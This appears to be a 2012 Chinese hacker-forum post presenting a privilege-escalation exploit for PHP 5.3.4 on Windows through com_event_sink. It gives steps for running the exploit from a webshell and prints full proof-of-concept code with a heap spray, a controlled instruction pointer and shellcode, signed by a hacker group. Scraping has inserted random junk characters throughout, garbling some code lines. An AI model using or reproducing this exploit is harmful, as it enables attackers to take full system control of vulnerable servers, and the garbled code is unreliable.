找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2221|回复: 0
打印 上一主题 下一主题

PHP 5.3.4(WIN) COM_SINK权限提升漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:08:13 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中+ J2 S3 N9 o+ r( r5 m3 Y

2 B5 |6 v0 q" K! k) y" A& F测试方法如下:cmd /c x:\php\php.exe x:\test.php: k: D4 ?( ~& y& P
6 c2 D" ?3 c4 t9 C1 f5 L
下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php' ~" |2 k; N$ U; i, B" T$ {8 o
这里是两个测试的截图:. x- }; p4 X8 Q
( I- @  r. e$ O, S9 k: ^

; r& u" ]- E6 m! W3 [9 [( X1 s8 _& g; i9 I

9 ]1 v2 C8 \2 K+ @
/ i1 q8 R" ?8 I. R0 |9 A成功利用此漏洞的攻击者将获得系统的最高权限( A# U, t6 b% N' z

1 J+ B4 \$ r+ J/ E" C8 ~: O, G: U  C4 _0 }# ]! p) u

# e! O- E* V8 I6 }: {+ i, L3 s3 L1 t2 E; J2 a
2 T/ h$ f9 p/ @) H; H3 D  A/ u
关于漏洞分析稍后附上。一下是PoC代码:
7 c  k' i+ e' ^5 c. Y
3 H3 ~% S* t! R# O4 j- i0 `: a<?php# b2 [4 y7 j* ^1 X( |& F
//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞9 p( b2 ]9 ~* h+ O
//$eip ="\x44\x43\x42\x41";- G- h% x6 l+ [/ |9 K. ^" E& W; L
$eip= "\x4b\xe8\x57\x78";' _. v9 b0 G2 b8 v' A- |1 @0 H+ t
$eax ="\x80\x01\x8d\x04";) t: Q5 g: h( O
$deodrant="";: B0 A/ D# R+ b# n" d/ P' B
$axespray = str_repeat($eip.$eax,0x80);; O: q9 v1 [( K: Y# z& j- v
//048d0190
/ J6 X7 S6 |+ e+ O* N$ g9 Yecho strlen($axespray);5 R; h; s" V6 o1 y$ u& V/ h2 x
echo "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";# h, X/ @; m* @( ^* j  |  ]& i( t
echo "Silic Group Hacker Army - BlackBap.Org";
2 M, {" f2 r2 ]' Y6 e5 o//19200 ==4B32 4b00
9 B8 \* R8 m) E# afor($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}6 Y/ ~. P; ^' s+ O+ ~
$terminate = "T";
% Z5 _+ l3 Y* L/ S9 p* ]$u[] =$deodrant;: n& P# Y4 [. v' Q! G/ ?
$r[] =$deodrant.$terminate;7 V7 @# J& ~4 c7 V' T4 U  a
$a[] =$deodrant.$terminate;' x; j! |# e8 ?$ q
$s[] =$deodrant.$terminate;* ~$ S8 H$ ~" X+ G6 L! |( ]
//$vVar = new VARIANT(0x048d0038+$offset);        这里是可控可改的
$ e$ p2 l. R( h/ T7 Y$vVar = new VARIANT(0x048d0000+180);4 l* }3 O' y/ I$ S
//弹窗代码(Shellcode)
* m3 r  D, q  m( g% Y  F$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";
! R" r  P- S& v* n" d$ Y: o$var2 = new VARIANT(0x41414242);
: O) k% G9 }3 I: R$ [com_event_sink($vVar,$var2,$buffer);) U, e; M" }; [/ h( V
?>9 S/ M4 V. U  E9 Y5 p( E& f4 q6 n8 o; X

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表